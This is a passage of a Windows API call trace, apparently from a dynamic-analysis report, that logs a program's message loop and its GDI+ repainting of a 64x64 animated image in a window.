wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0127.484] IsWindowUnicode (hWnd=0x2031e) returned 1 [0127.484] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0127.484] TranslateMessage (lpMsg=0x15e910) returned 0 [0127.484] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0127.484] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0127.484] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0127.484] CreateCompatibleDC (hdc=0x1010b9d) returned 0x2f010191 [0127.485] SelectObject (hdc=0x2f010191, h=0x1a05067e) returned 0x185000f [0127.485] GdipCreateFromHDC (hdc=0x2f010191, graphics=0x15daf0) returned 0x0 [0127.485] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0127.485] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0127.485] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0127.485] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0127.485] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0127.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9333d0 [0127.485] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e9333d0) returned 0x0 [0127.486] LocalFree (hMem=0x1e9333d0) returned 0x0 [0127.486] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.486] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0127.486] GdipCreateRegion (region=0x15dc20) returned 0x0 [0127.486] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0127.486] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0127.486] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0127.486] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0127.487] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0127.487] GetSystemMetrics (nIndex=42) returned 0 [0127.487] CoTaskMemAlloc (cb=0x6) returned 0x1e91ece0 [0127.487] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ece0, nMaxCount=1 | out: lpString="") returned 0 [0127.487] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ece0) returned 0x0 [0127.487] CoTaskMemFree (pv=0x1e91ece0) [0127.487] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0127.487] GdipCreateRegion (region=0x15d710) returned 0x0 [0127.487] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0127.487] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0127.487] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0127.487] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0127.487] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9333d0 [0127.487] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e9333d0) returned 0x0 [0127.488] LocalFree (hMem=0x1e9333d0) returned 0x0 [0127.488] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0127.488] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e9333d0 [0127.488] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e9333d0) returned 0x0 [0127.489] LocalFree (hMem=0x1e9333d0) returned 0x0 [0127.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.489] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0127.489] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0127.489] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0127.489] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0127.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.489] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0127.489] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0127.489] GetCurrentObject (hdc=0x2f010191, type=0x1) returned 0x1b00017 [0127.489] GetCurrentObject (hdc=0x2f010191, type=0x2) returned 0x1900010 [0127.489] GetCurrentObject (hdc=0x2f010191, type=0x7) returned 0x1a05067e [0127.489] GetCurrentObject (hdc=0x2f010191, type=0x6) returned 0x18a002e [0127.489] SaveDC (hdc=0x2f010191) returned 1 [0127.489] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x780407c3 [0127.489] GetClipRgn (hdc=0x2f010191, hrgn=0x780407c3) returned 0 [0127.490] SelectClipRgn (hdc=0x2f010191, hrgn=0x48040b8a) returned 2 [0127.490] DeleteObject (ho=0x780407c3) returned 1 [0127.490] DeleteObject (ho=0x48040b8a) returned 1 [0127.490] OffsetViewportOrgEx (in: hdc=0x2f010191, x=0, y=0, lppt=0x278f8a8 | out: lppt=0x278f8a8) returned 1 [0127.490] GetNearestColor (hdc=0x2f010191, color=0xffffff) returned 0xffffff [0127.490] CreateSolidBrush (color=0xffffff) returned 0x50100190 [0127.490] FillRect (hDC=0x2f010191, lprc=0x15d7c0, hbr=0x50100190) returned 1 [0127.490] DeleteObject (ho=0x50100190) returned 1 [0127.490] RestoreDC (hdc=0x2f010191, nSavedDC=-1) returned 1 [0127.490] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.490] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010191) returned 0x0 [0127.490] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd460dbd) returned 0x0 [0127.490] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.490] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0127.490] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0127.490] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0127.490] GetSystemMetrics (nIndex=42) returned 0 [0127.490] CoTaskMemAlloc (cb=0x6) returned 0x1e91ece0 [0127.491] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ece0, nMaxCount=1 | out: lpString="") returned 0 [0127.491] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ece0) returned 0x0 [0127.491] CoTaskMemFree (pv=0x1e91ece0) [0127.491] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0127.491] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0127.491] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0127.491] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0127.491] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x2f010191, x1=0, y1=0, rop=0xcc0020) returned 1 [0127.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.491] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f010191) returned 0x0 [0127.491] SelectObject (hdc=0x2f010191, h=0x185000f) returned 0x1a05067e [0127.491] DeleteDC (hdc=0x2f010191) returned 1 [0127.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0127.491] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0127.491] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0127.491] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0127.492] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0127.492] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0127.492] WaitMessage () returned 1 [0128.495] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.495] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0128.495] IsWindowUnicode (hWnd=0x20312) returned 1 [0128.495] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.495] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0128.495] SetCursor (hCursor=0x10003) returned 0x10003 [0128.495] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.495] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.495] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0128.495] GetKeyState (nVirtKey=1) returned 0 [0128.495] GetKeyState (nVirtKey=2) returned 0 [0128.496] GetKeyState (nVirtKey=4) returned 0 [0128.496] GetKeyState (nVirtKey=5) returned 0 [0128.496] GetKeyState (nVirtKey=6) returned 0 [0128.496] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.496] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.496] WaitMessage () returned 1 [0128.534] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.534] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.534] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.534] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.534] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.534] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0128.534] GetCurrentThreadId () returned 0xec0 [0128.534] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0128.535] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.535] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.535] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.535] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.535] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.535] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0128.535] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0128.535] CreateCompatibleDC (hdc=0x1010b9d) returned 0x63010b89 [0128.535] SelectObject (hdc=0x63010b89, h=0x1a05067e) returned 0x185000f [0128.535] GdipCreateFromHDC (hdc=0x63010b89, graphics=0x15daf0) returned 0x0 [0128.535] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0128.536] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0128.536] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0128.536] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0128.536] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0128.536] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935b10 [0128.536] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e935b10) returned 0x0 [0128.537] LocalFree (hMem=0x1e935b10) returned 0x0 [0128.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.537] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0128.537] GdipCreateRegion (region=0x15dc20) returned 0x0 [0128.537] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0128.537] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0128.537] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0128.537] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.537] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.537] GetSystemMetrics (nIndex=42) returned 0 [0128.537] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed50 [0128.537] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed50, nMaxCount=1 | out: lpString="") returned 0 [0128.537] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed50) returned 0x0 [0128.537] CoTaskMemFree (pv=0x1e91ed50) [0128.537] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0128.538] GdipCreateRegion (region=0x15d710) returned 0x0 [0128.538] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0128.538] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0128.538] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0128.538] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0128.538] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935b10 [0128.538] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935b10) returned 0x0 [0128.538] LocalFree (hMem=0x1e935b10) returned 0x0 [0128.538] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0128.538] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935b10 [0128.538] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935b10) returned 0x0 [0128.539] LocalFree (hMem=0x1e935b10) returned 0x0 [0128.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.540] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0128.540] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0128.540] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0128.540] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0128.540] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.540] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0128.540] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0128.540] GetCurrentObject (hdc=0x63010b89, type=0x1) returned 0x1b00017 [0128.540] GetCurrentObject (hdc=0x63010b89, type=0x2) returned 0x1900010 [0128.540] GetCurrentObject (hdc=0x63010b89, type=0x7) returned 0x1a05067e [0128.540] GetCurrentObject (hdc=0x63010b89, type=0x6) returned 0x18a002e [0128.540] SaveDC (hdc=0x63010b89) returned 1 [0128.540] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x49040b8a [0128.540] GetClipRgn (hdc=0x63010b89, hrgn=0x49040b8a) returned 0 [0128.540] SelectClipRgn (hdc=0x63010b89, hrgn=0x790407c3) returned 2 [0128.540] DeleteObject (ho=0x49040b8a) returned 1 [0128.541] DeleteObject (ho=0x790407c3) returned 1 [0128.541] OffsetViewportOrgEx (in: hdc=0x63010b89, x=0, y=0, lppt=0x27909a8 | out: lppt=0x27909a8) returned 1 [0128.541] GetNearestColor (hdc=0x63010b89, color=0xffffff) returned 0xffffff [0128.541] CreateSolidBrush (color=0xffffff) returned 0x51100190 [0128.541] FillRect (hDC=0x63010b89, lprc=0x15d7c0, hbr=0x51100190) returned 1 [0128.541] DeleteObject (ho=0x51100190) returned 1 [0128.541] RestoreDC (hdc=0x63010b89, nSavedDC=-1) returned 1 [0128.541] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.541] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x63010b89) returned 0x0 [0128.541] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd440dbd) returned 0x0 [0128.541] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.541] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0128.541] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.541] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.542] GetSystemMetrics (nIndex=42) returned 0 [0128.542] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed50 [0128.542] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed50, nMaxCount=1 | out: lpString="") returned 0 [0128.542] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed50) returned 0x0 [0128.542] CoTaskMemFree (pv=0x1e91ed50) [0128.542] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0128.545] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0128.545] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0128.545] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0128.545] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0128.545] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x63010b89, x1=0, y1=0, rop=0xcc0020) returned 1 [0128.545] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.545] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x63010b89) returned 0x0 [0128.545] SelectObject (hdc=0x63010b89, h=0x185000f) returned 0x1a05067e [0128.545] DeleteDC (hdc=0x63010b89) returned 1 [0128.545] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.545] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0128.545] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0128.546] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0128.546] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.546] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0128.546] WaitMessage () returned 1 [0128.720] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.720] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.720] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.720] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.720] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.720] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0128.720] GetCurrentThreadId () returned 0xec0 [0128.720] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0128.721] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0128.721] IsWindowUnicode (hWnd=0x2031e) returned 1 [0128.721] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0128.721] TranslateMessage (lpMsg=0x15e910) returned 0 [0128.721] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0128.721] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0128.721] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0128.722] CreateCompatibleDC (hdc=0x1010b9d) returned 0x64010b89 [0128.722] SelectObject (hdc=0x64010b89, h=0x1a05067e) returned 0x185000f [0128.722] GdipCreateFromHDC (hdc=0x64010b89, graphics=0x15daf0) returned 0x0 [0128.722] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0128.722] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0128.722] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0128.722] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0128.722] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0128.722] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935cd0 [0128.723] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e935cd0) returned 0x0 [0128.723] LocalFree (hMem=0x1e935cd0) returned 0x0 [0128.723] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.723] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0128.723] GdipCreateRegion (region=0x15dc20) returned 0x0 [0128.724] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0128.724] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0128.724] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0128.724] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.724] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.724] GetSystemMetrics (nIndex=42) returned 0 [0128.724] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed50 [0128.724] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed50, nMaxCount=1 | out: lpString="") returned 0 [0128.724] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed50) returned 0x0 [0128.724] CoTaskMemFree (pv=0x1e91ed50) [0128.724] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0128.724] GdipCreateRegion (region=0x15d710) returned 0x0 [0128.724] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0128.725] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0128.725] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0128.725] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0128.725] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935cd0 [0128.725] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935cd0) returned 0x0 [0128.725] LocalFree (hMem=0x1e935cd0) returned 0x0 [0128.725] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0128.726] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e935cd0 [0128.726] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e935cd0) returned 0x0 [0128.726] LocalFree (hMem=0x1e935cd0) returned 0x0 [0128.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.726] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0128.726] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0128.726] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0128.726] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0128.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.726] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0128.726] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0128.726] GetCurrentObject (hdc=0x64010b89, type=0x1) returned 0x1b00017 [0128.727] GetCurrentObject (hdc=0x64010b89, type=0x2) returned 0x1900010 [0128.727] GetCurrentObject (hdc=0x64010b89, type=0x7) returned 0x1a05067e [0128.727] GetCurrentObject (hdc=0x64010b89, type=0x6) returned 0x18a002e [0128.727] SaveDC (hdc=0x64010b89) returned 1 [0128.727] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7a0407c3 [0128.727] GetClipRgn (hdc=0x64010b89, hrgn=0x7a0407c3) returned 0 [0128.727] SelectClipRgn (hdc=0x64010b89, hrgn=0x4a040b8a) returned 2 [0128.727] DeleteObject (ho=0x7a0407c3) returned 1 [0128.727] DeleteObject (ho=0x4a040b8a) returned 1 [0128.727] OffsetViewportOrgEx (in: hdc=0x64010b89, x=0, y=0, lppt=0x2793220 | out: lppt=0x2793220) returned 1 [0128.727] GetNearestColor (hdc=0x64010b89, color=0xffffff) returned 0xffffff [0128.727] CreateSolidBrush (color=0xffffff) returned 0x52100190 [0128.727] FillRect (hDC=0x64010b89, lprc=0x15d7c0, hbr=0x52100190) returned 1 [0128.727] DeleteObject (ho=0x52100190) returned 1 [0128.728] RestoreDC (hdc=0x64010b89, nSavedDC=-1) returned 1 [0128.728] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.728] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x64010b89) returned 0x0 [0128.728] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd420dbd) returned 0x0 [0128.728] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.728] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0128.728] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0128.728] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0128.728] GetSystemMetrics (nIndex=42) returned 0 [0128.728] CoTaskMemAlloc (cb=0x6) returned 0x1e91ed50 [0128.728] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91ed50, nMaxCount=1 | out: lpString="") returned 0 [0128.728] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91ed50) returned 0x0 [0128.728] CoTaskMemFree (pv=0x1e91ed50) [0128.728] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0128.728] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0128.728] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0128.729] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0128.729] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x64010b89, x1=0, y1=0, rop=0xcc0020) returned 1 [0128.729] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0128.729] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x64010b89) returned 0x0 [0128.729] SelectObject (hdc=0x64010b89, h=0x185000f) returned 0x1a05067e [0128.729] DeleteDC (hdc=0x64010b89) returned 1 [0128.729] FindAtomW (lpString="GDI+Atom_3772_1") returned 